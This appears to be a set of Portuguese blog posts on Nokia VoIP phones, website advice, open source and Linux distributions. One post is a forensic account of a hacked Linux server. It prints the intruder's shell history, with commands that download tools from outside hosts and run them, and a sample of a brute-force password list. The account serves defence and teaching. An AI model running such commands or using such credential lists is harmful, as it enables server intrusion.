  • Esses celulares tem WiFi, mas não é esse o fator mais importante. WiFi em um handheld seca sua bateria em menos de duas horas conectadas. O que realmente importa é que o Symbian OS (sistema operacional desses aparelhos) foi otimizado para se manter sempre conectado por WiFi, mas economizando energia quando não há dados trafegando. Mais ainda: quando se muda de localidade, ele detecta a mudança, se reconecta e se reconfigura.
  • Quando não há redes WiFi (mais baratas ou gratuitas), pode-se usar outras redes de dados, tipo GPRS (do GSM) ou WCDMA (do CDMA). O Symbian OS trata de fazer a troca de redes de forma transparente, sem interrupções. Essa gerência automática de redes somada a otimização de uso de energia para WiFi faz esse SO ser realmente especial.
  • O SIP integrado ao celular elimina o inconveniente de precisar de um computador. O celular é o computador conectado a Internet o tempo todo, da forma mais barata possível para uma localidade que se está.
  • Uma equipe de funcionários de uma mesma empresa, portando celulares com VoIP como os da Nokia (que na verdade são os únicos do mercado hoje), usando serviços gratuitos como os do PBXes, poderão se telefonar com push-to-talk (como Nextel), fazer conferências, ter o ramal transferido para o celular, enviar SMSs, fazer video conferências por IP (no novo N73), etc, de graça. Isso quando estiverem associados a uma rede WiFi, como as de seu escritório, ou em casa. Quando estiverem na rua, ainda poderão fazer tudo isso com VoIP sobre GPRS a custos bem mais baixos do que os dos minutos de voz GSM ou CDMA, porque o custo-benefício de voz comprimida sobre IP é melhor que o de voz tradicional.
  • Para ligações internacionais ou quando estiverem viajando, esses usuários poderão receber ligações VoIP gratuitamente em seus celulares, ou fazer a custo muito baixo com serviços como SIP Discount. Além de literalmente levarem seu ramal consigo.
  • Além do mais esses celulares contam com um arsenal de ferramentas para a web, tais como um ótimo browser, melhor que a média dos handhelds do mercado, player de multimídia incluindo filmes e leitores de feeds. A soma desses elementos faz o celular ser um ótimo cliente para podcasts. Se o som do seu carro tiver bluetooth, seu Nokia pode transmitir seus podcasts favoritos para ele enquanto estiver dirigindo para o trabalho.

Se as informações aqui estão um pouco desestruturadas é porque isso foi um “dump mental” mesmo. Para compartilhar rapidamente esse conhecimento com você, leitor.

Como Criar um Website

Este guia é para você que é leigo em computadores, mas que precisa contratar alguém para fazer o site de sua empresa, restaurante, hotel, etc. Vai ajudá-lo a ter um site mais acessível, prático e funcional, usando padrões e técnicas novas e que os usuários gostam, e deixando de lado as técnicas não muito naturais da web, ou que não é de boa prática o seu uso.

Quando for comprar serviços para criar seu site, exija os seguintes pontos (os links levam para as explicações):

  1. Quero um site onde eu mesmo posso atualizar o conteúdo, como se fosse um blog.
  2. Onde hospedar o site, em que computadores ele vai rodar ?
  3. O site/blog não pode ser feito em Flash.
  4. O site/blog deve ser compatível com qualquer browser em qualquer plataforma, principalmente Firefox, Internet Explorer, Safari e Opera.
  5. Não é necessário ter uma animação de abertura.
  6. Não pode haver popups nem frames, deve ser de fácil navegação e usar permalinks semânticos.
  7. O site/blog deve conter informações objetivas e precisas.
  8. O site/blog deve usar tecnologias abertas e não-proprietárias.

Seguem os detalhes de cada ponto…

Não se chama mais site, agora é blog

Blogs estão na moda, então entre na moda.

Não é a toa. Se você disser “entre no blog do meu restaurante” ao invés de “site”, as pessoas sabem que estarão mais próximas de quem criou a informação ali, e não só da informação em sí. Na cabeça das pessoas, um site raramente é atualizado, mas um blog sempre tem novidades. O já conhecido formato de blog sugere que os visitantes poderão interagir, comentar.

Não conte para ninguém, mas site e blog são praticamente a mesma coisa, mas optando pelo formato de blog abre um leque de opções do uso de ferramentas já prontas para facilmente gerenciar seu conteúdo. Isso significa que seu site (ou blog) ficará pronto mais rápido (instantaneamente, na verdade), com mais funcionalidades, nasce bonito, e organizado de um jeito já familiar para as pessoas, além de ser interativo.

Outra vantagem de um blog é que você mesmo vai poder configurar e atualizá-lo tão facilmente quanto escreve um e-mail.

O visual de um sistema de blog como o WordPress é definido pelo tema usado. A idéia de temas pode ser comparada a uma roupa que se veste: troque de roupa e mude seu visual sem tocar no conteúdo, da mesma forma que troca-se o tema de seu blog sem interferir no conteúdo textual etc.

Há uma infinidade de temas gratuitos genéricos prontos na web, mas para uma empresa, estabelecimento, etc o ideal é contratar um webdesigner para criar (ou adaptar) um tema específico, com o seu logotipo e a sua cara. O trabalho técnico para executar esse trabalho dura aproximadamente 1 semana, e no caso do WordPress.org, o webdesigner deve ter conhecimento de PHP, além dos básicos XHTML e JavaScript (não precisa lembrar esses nomes, só garanta que seu webdesigner conhece tais tecnologias).

Em que computadores seu site vai rodar, onde hospedar ?

O custo mensal para se ter um blog/site é baxíssimo. No Brasil pode-se contratar excelentes provedores de espaço como a Insite por aproximadamente R$16 por mês. Já incluso todas as ferramentas necessárias para criar o blog, como o WordPress.org.

DreamHost bannerO provedor que escolhi para este meu site é o DreamHost que fica nos EUA. Por uns R$70 por ano eles me dão 230GB de espaço, mais banda praticamente ilimitada e um ótimo serviço. Alí pode-se rodar um blog WordPress.org, ou outros softwares que facilitarão a sua vida para gerenciar o conteúdo, seja textos, fotos, multimídia, etc: Drupal, Joomla, Gallery etc.

Seu site vai morar em computadores que rodam Linux (por oferecer maior segurança e estabilidade) e seus usuários Linux, Windows, Mac ou qualquer outro poderão navegar nele sem problema.

Evite Flash

Flash é a tecnologia que permite animações bonitinhas em sites da web, mas que começou a ser impropriamente usada para fins mais centrais de alguns sites, até o ponto enlouquecido de o site inteiro ser feito em Flash.

É ruim para seus visitantes: Flash é uma tecnologia proprietária, e nem todos os seus visitantes vão tê-lo instalado. E os que tiverem talvez o terão numa versão antiga (você lembra de ter atualizado seu Flash alguma vez?). Visitantes que usam Linux por exemplo — 20% da web aproximadamente — em geral não tem. Não exclua seus usuários.

É ruim para seu blog: Há uma ciência oculta na web chamada Search Engine Optimization (ou Otimização Para Sistemas de Busca), em que profissionais especializados conseguem fazer um site aparecer no topo da pesquisa por palavras em sites como o Google, Yahoo, MSN Search, etc. Bem, qualquer palavra ou link (isso inclui menus que levam ao texto) contidas em arquivos Flash serão invisíveis ao Google, fazendo seu blog praticamente desaparecer em resultados de busca. Os potenciais clientes que usam o Google e companhia para procurar coisas que você vende também desaparecerão.

Use Flash somente em coisas marginais e mesmo assim em elementos que não interferem na informação que seu site/blog provê.

Existem outros browsers

Lembre-se que o browser que você e seu produtor de site usam pode não ser o mesmo de todos os seus visitantes. O Firefox já usado por uns 30% da web. Para acertar neste ponto, garanta que seu blog é bem visto no Firefox, Safari (popular no Mac), Opera (popular em celulares) e Internet Explorer.

A Internet não é um panfleto de propaganda

Uma das coisas mais inúteis e irritantes de muitos sites é a tal da apresentação inicial, geralmente feita em Flash. Claro que há o link para “pular a animação” mas se este também estiver embutido no Flash pode dizer adeus a alguns visitantes: o resto de seu site é inacessível e contribui para a tal exclusão digital.

Um panfleto é recebido na rua de forma passiva, e a capa deve ser atraente para que o usuário queira abrir e ver o resto. Na Internet é diferente. Dificilmente alguém vai “cair” no seu site por acaso. As pessoas ativamente te clicaram porque acreditam que você tem a informação que elas precisam. Não as aborreça com essas apresentações iniciais. Em suma, isso só serve para duas coisas: dar uma desculpa ao webmaster que você contratou para te mostrar seus conhecimentos em operar o programa que cria aquilo, e gastar seu dinheiro pelas horas de trabalho cobradas.

Use melhor as horas pagas ao seu web-designer e peça para ele criar um site/blog semântico, que os mecanismos são capazes de ler.

Morte aos Popups

Sobre as tais janelas saltitantes que surgem quando clicamos em links de sites mal feitos, saiba que browsers modernos corretamente as bloqueiam. Se você as vê na hora que está testando seu site pela primeira vez, provavelmente foi porque o browser foi explicitamente configurado para deixá-las saltar. Em geral seus usuários não as verão.

Os popups tem outro sério problema: em sites mal feitos, certas informações preciosas só podem ser encontradas dentro de popups, e como essas janelinhas estão fora do fluxo de navegação normal (como Flash) essas informações também serão invisíveis ao Google e companhia, e não aparecerão nos resultados de busca.

Estabeleça a idéia de que todo pedaço de informação em seu site deve poder ser acessível diretamente por links externos (também conhecidos por “permalinks“), e não só navegando via a página principal.

Seus clientes querem te ligar

Você ficará surpreso em saber quantas pessoas tem preguiça de ler ou gastar 5 minutos (ou mais, se o site for desestruturado) navegando em seu blog para encontrar o que procuram.

Para aproximá-las de você, deixe seu telefone com código de área visível em todas as páginas, por exemplo no final de cada uma. Só e-mail não basta. Muito menos formulário para entrar em contato. Lembre-se: de qualquer forma, antes da Internet o único jeito de contactarem seu estabelecimento era por telefone.

Se o seu estabelecimento for um serviço, restaurante, hotel, loja, vai perceber que a maioria liga para saber onde fica, preços, se está lotado, o que há no cardápio, etc. Quando as perguntas freqüentes ficaram óbvias, trate de criar páginas com respostas claras no seu site, mapas interativos como o abaixo, etc.

map
map
Restaurante Maha Mantra
map
Cantina do Mello

Evite tecnologias proprietárias

Use padrões abertos. Eles estão disponíveis, são mais baratos, e te dão mais flexibilidade que as tecnologias proprietárias.

Não é exatamente o webdesigner quem deve escolher as tecnologias usadas em seu site. Ele vai te sugerir as que ele conhece, mas não necessariamente são as melhores para você.

Um site/blog desenvolvido com tecnologias proprietárias te forçará a ter que pagar por elas pelo resto da vida de seu site. E saiba que a cultura da Internet criou diversas tecnologias abertas, muitas vezes melhores, muitas vezes gratuitas, que te dão escolha, poder de negociação, etc.

Veja uma comparação:

Tecnologias Proprietárias (evite) Tecnologias Abertas (prefira)
Flash DHTML, Ajax, XHTML+JavaScript
ASP, ASP.NET JSP, PHP
.NET, C#, Cold Fusion, Delphi etc Java, Java Enterprise ou J2EE
Windows ou qualquer outro sistema operacional Linux
Mídia em formatos WMA, WMV e Real Mídia em formatos MP3, AAC, MPEG e Xvid (ou DivX)

Outros detalhes

  • Seu site ou blog deve usar a codificação UTF-8 ou Unicode. Esta técnica é a garantia de que acentos vão aparecer corretamente em qualquer browser e sistema operacional.
  • Evite também frames. Eles nasceram a partir de um erro de projeto, são considerados obsoletos, tem problemas similares aos popups e Flash, violam padrões, e seus criadores se arrependeram de te-los criado.

Na Trilha do Invasor

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os Rastros Deixados pelo Cracker

O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:26:27 sshd[PID]: refused connect from  IP.IP.IP.IP

Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.

Histórico do Ataque

Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.

Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functions
initscripts-7.93.20.EL
bash$ rpm -V initscripts
S.5....T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script functions ?

A última linha do script era esta:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabs
o ficheiro /usr/bin/crontabs não pertence a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:

bash$ strings /usr/bin/crontabs
[...]
"smbd -D"
"(swapd)" &
[...]

Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D"
[...]
Received SIGHUP; restarting.
Generating new %d bit RSA key.
RSA key generation complete.
   -b bits    Size of server RSA key (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]

Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:

Feb  19 19:24:49 localhost smbd -D: RSA1 key generation succeeded
Feb  19 19:24:50 localhost smbd -D: RSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D: DSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D:  succeeded

Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:

bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz
tar xzvf flo.tgz...linhas omitidas...
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50
[...]
/usr/sbin/adduser scanning

O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:

  • No diretório /usr/share/.a ele instalou e executou o tal comando mig que aparentemente é um limpador de histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro.
  • Em /var/tmp foi baixado um tal usr.tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também foi alterado, provavelmente para esconder as conexões deste bot a diversos servidores de IRC na porta padrão 6667, o que constatamos com o ksysguard. Adiante explicaremos o que um cracker faz com isso.

Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.

Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:

root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.

A Reinstalação da Máquina

Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:

  • Só instalamos pacotes que sabíamos que seriam usados. Descartamos completamente a idéia de fazer uma instalação completa.
  • Depois de instalado, desligamos alguns serviços que sabíamos que não seriam usados, como NIS, Samba, Portmap, NFS. E se possível os desinstalávamos.
  • Criamos regras para o iptables fechando praticamente tudo menos as portas 80 (HTTP) e 443 (HTTPS).
  • Requisitamos ao provedor do link P que configurasse regras semelhante em seu roteador, formando um firewall duplo.
  • Por via das dúvidas, desabilitamos o acesso por SSH ao root, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.
  • E dessa vez foram usadas senhas decentes, bem difíceis, com letras, números, e que não eram derivadas de palavras óbvias.
  • As senhas só foram informadas verbalmente para poucas pessoas. Evitamos passar por e-mail.

Por que o Cracker Ataca ?

Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.
Ataque Distributed Denial of Service

Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.

Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.

Só Freud explica…

Open Source na Prática

O primeiro a propor a idéia de Open Source Software (OSS) foi Richard Stallman na década de 1970, que a formalizou, com a ajuda de alguns advogados, na famosa licença GPL.

Ninguém se interessou ou sequer ouviu falar sobre isso, até que em meados da década de 1990, tudo mudou com a vertiginosa popularização do Linux, sistema operacional OSS.

O termo popular “Software Livre” não é a melhor tradução de Open Source Software, cujo correto é Software de Código Fonte Aberto. É importante notar isso porque muitas vezes o termo é erradamente associado a idéia de não-proprietário, ou não-comercial. A verdade é que um software pode ter seu código fonte aberto mas ser comercial e/ou proprietário e vice-versa, portanto são conceitos que não devem ser confundidos.

A idéia é simples: eu escrevo um programa e você pode copiá-lo à vontade sem nem sequer me notificar. Pode inclusive modificá-lo e redistribuí-lo, contanto que também mantenha suas modificações abertas e informe qual a origem e os autores anteriores do software.

Isso não quer dizer que teremos diversas versões desconexas do mesmo software, num dado momento. Cada modificação passa por um processo muito bem organizado de aceitação ou rejeite, onde boas melhorias retornam à base e são incorporadas à nova versão do software. Na verdade, hoje, a maioria dessas contribuições não é mais feita por indivíduos, mas por empresas de tecnologia.

É comum — e errado — pensar que OSS significa a morte de todo software de código fechado. Isso não acontece porque a tendência é que as grandes inovações continuem a ser exploradas pelo modelo fechado. Imagine um mundo hipotético que ainda não conhece editores de planilhas. É natural que, ao lançar esse produto, seu inventor opte pelo modelo de código fonte fechado, para maximizar seus lucros através do total controle de sua invenção. Contudo, conforme essa invenção se populariza, desenvolve um mercado e adquire concorrentes, OSS surge como uma das formas — a mais inovadora — para repensá-la. OSS inova ao reimplementar o que outros inventaram e exploraram anteriormente. Recentemente, porém, a indústria começou a usar OSS diretamente para lançar certas inovações, justamente pelo seu poder de agregar comunidades e criar ecossistemas.

Também é comum — e errado — acreditar que se o software em si é gratuito, elimina-se por completo os gastos. Mas sempre haverá a necessidade de um suporte confiável. OSS altera o eixo do valor agregado do software, movendo-o do software em si (que não custa nada), para o serviço de suporte.

Open Source, Open Standards relacionados a TI

Em seu processo de amadurecimento, a única diferença prática entre um software OSS e outro de código fonte fechado é a ordem em que as coisas acontecem. Um fabricante comercial terá que criar estrutura e suporte regional antes de vender o produto. Já no OSS, ofertas de suporte só surgem (espontaneamente) depois que ele goza de uma boa gama de usuários. Mas seja qual for a ordem, a única coisa que garante maturidade a qualquer software ou produto é um ciclo de desenvolvimento–uso–suporte, que estimula mais desenvolvimento. Somente essa maturidade garante a aceitação do produto em empresas responsáveis. E hoje, OSSs como Linux, Apache, OpenOffice.org, Samba, e outros já gozam desse ecossistema cíclico de uma forma vasta, global e vigorosa.

Hoje, OSS tem aplicações mais maduras em infraestrutura e alguns nichos de middleware. Por sua vez, os softwares de código fonte fechado apresentam maior desenvoltura mercadológica nas funcionalidades de maior valor agregado ao negócio (ERPs, CRMs ou processos empresariais). Isso porque estas funcionalidades têm uma amplitude menor de usuários, o que inviabiliza o surgimento de suporte espontâneo — fator vital para a maturidade do OSS.

A indústria tem buscado um balanço saudável para misturar componentes fechados com OSS, a fim de maximizar o seu benefício sem abrir mão da maturidade de ponta a ponta. Prova disso é que tem sido cada vez mais comum a implantação de ERPs maduros — geralmente de código fechado — sobre plataformas abertas maduras — como distribuições Linux com suporte.

A receita para o melhor balanço é insistir no uso de Padrões Abertos. Por garantirem uma interoperabilidade fácil entre camadas abertas e de código fechado, o uso de padrões amplia as escolhas e a liberdade da empresa que compra TI para compor a melhor mistura do momento, com opções OSS e/ou de código fechado.

Choosing a Linux Distribution

It is important to begin by saying that all Linux distributions, including commercial — Red Hat Enterprise Linux, SUSE, Xandros, etc — as well as non-commercial — Debian, Slackware, Gentoo, etc — are all good and are technically able to fulfill most real world needs. To choose amongst them is more related to personal taste of the people who already knows it than to functionality. But a company must think about other aspects — not only taste — to guarantee making the right strategic choice for long term benefits.

Support and Certification

All Linux distributors package, in one way or another, mostly the same set of Open Source softwares (the Kernel, Apache, Samba, libraries, Gnome, KDE, etc). But only the so called enterprise distributions include support services together with their product.

For a user, support really means:

  1. A partner available now and in the long term to transfer operational risks.
    This is the most important point. Companies don’t want to take risks — specially the Open Source risks — for themselves.
  2. Fast access to quality updates.
    Companies in general have limited resources to compile, test and apply OSS updates.
  3. Access to a large set of certified hardware (IHV) and software (ISV) vendors, and availability of pre-tested complex solutions.
    A critical part of any IT project is the support and certification connections between its components (hardware, storage, middleware, etc). The most important and valued function provided by a distributor, even more so than the embedded technology in the OS, is its ability to build ecosystems of certified Independent Hardware and Software Vendors.

Price for a License Versus Subscription Business Models

Companies that sell commercial software (as Microsoft, IBM, Oracle, etc) allow somebody to use their products only after buying the rights to. This “buyable rights” are refered to as a commercial license.

The software provided in any Linux distribution is free of charge. The developers of these softwares have licensed their work under the GPL, BSD, Mozilla Public, IBM Public or some other Open Source licenses, which grants anyone the rights to use and redistribute the software without having to pay any money.

It is a misnomer to say that you are “buying� some Linux distribution (or a license for it to be used). You can’t buy it. It is already yours, in practical terms. It is like saying a user is buying the content of some web site. There is nothing material to acquire. On the other hand this user can subscribe to a service that provides hot line support, access to updates and access to an ecosystem of interoperable certified products and solutions – the support points outlined above.

So enterprise Linux distributors (such as Red Hat, Novell, Xandros) sell these services, and not the software, because the last is free of charge.

Choosing the Best Distribution

There are two responsible and effective ways to use a Linux distribution as part of a company’s IT operations:

  1. Acquire a global commercial Linux subscription such as Red Hat Enterprise Linux or Novell SUSE Linux Enterprise Server.
    A subscription ties together the Open Source software and its global scale support, providing a stable environment for a certified ISV and IHV flourishing ecosystem.
  2. Use free distributors such as as Debian or Slackware and buy support services from an independent local company.
    Free distributions may introduce more risk due to non-global support operations, in addition to a loose integration between software and support, which leads to a weak ISVs and IHVs ecosystem.

In terms of technical flexibility and vendor choice — points that influence cost —, both options are equal. All the benefits of the second option are present in the first, while second lacks the ecosystem aspects.

Thus the conclusion is that it is more reasonable to directly acquire a product that directly ties the support to the software, than manually integrate them at the regional level.

RHEL versus SLES comparison

Companies should look at the following points, in this order, when choosing a Linux distribution to run their business applications:

  1. Which distribution vendor do I have closer commercial relationship?
  2. Who has best pricing model for the value provided?
  3. Which distribution does my technical staff have more experience with?
  4. Which distribution is supported and certified by my providers of hardware and software?
  5. If you are unsure, be responsible and use an enterprise distribution.

There are two enterprise Linux distributors that have a strong ecosystem and penetration in the market: Red Hat Enterprise Linux and Novell SUSE Linux Enterprise. They have differences that every year continue to converging and diverge. See the table for a comparison.

Other Enterprise Distributions

There are several Linux distributions with business models similar to the one adopted by Red Hat and Novell. Most well known are Ubuntu (technically based on Debian), Mandriva (Conectiva and Mandrake fusion), Xandros (also based on Debian.) They are focused on building a product that can scale globally in such a way that support services can be delivered automatically or as a self-service.

There is an intrinsic market law that seeks equilibrium by providing two options in which to choose. One option may be good (there is actually no option when only one path is available), two mature options is better, and three or more options are too much for the market to handle. It appears that the market has already defined its two mature options: Novell and Red Hat.

